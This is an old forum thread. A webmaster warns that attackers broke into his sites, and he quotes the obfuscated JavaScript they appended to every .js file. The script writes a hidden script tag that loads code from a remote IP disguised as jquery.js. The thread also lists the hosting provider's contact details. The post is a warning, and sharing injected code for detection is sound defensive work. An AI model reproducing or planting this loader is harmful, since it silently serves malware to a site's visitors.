1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Protect yourself - Watch out for viruses

Discussion in 'BlackHat Lounge' started by massio, Apr 7, 2009.

  1. massio

    massio Newbie

    Joined:
    Jan 14, 2009
    Messages:
    36
    Likes Received:
    25
    Found some 'clever' moron had cracked my web sites and add some extra script to all my js files:

    <!--
    d***ocument.write(unescape('%3CscrGbGipeBt%20Zd7saPOrc%3DZd7%2F%2F94lvN%2E2eB4R1L7%2EGbG2DV0%2E1lO9aPO5%2FjlvNq9bu9berZd7y%2EDV0jsGbG%3ER1L%3CZd7%2FscrlvNip9bt%3E').replace(/R1L|lvN|GbG|DV0|Zd7|eB|lO|aPO|9b/g,""));
    -->

    it calls:
    h***://94.247.2.195/j***query.js

    DO NOT GO TO THIS SITE - unless you have anti-virus installed!:eek:


    They are from>>>
    role: DATORU EXPRESS SERVISS HostMaster
    address: 18. novembra street 319C
    address: Daugavpils, LV-5413
    address: Latvia
    phone: +371 26631339
    fax-no: +371 65420725

    =============

    It's probably a keylogger or search hijacker to coupon mountain

    ... it's dangerous out there.
     
  2. heyyz

    heyyz Junior Member

    Joined:
    Mar 15, 2009
    Messages:
    169
    Likes Received:
    15
    Location:
    Manchester UK
    use a condom


    oj oj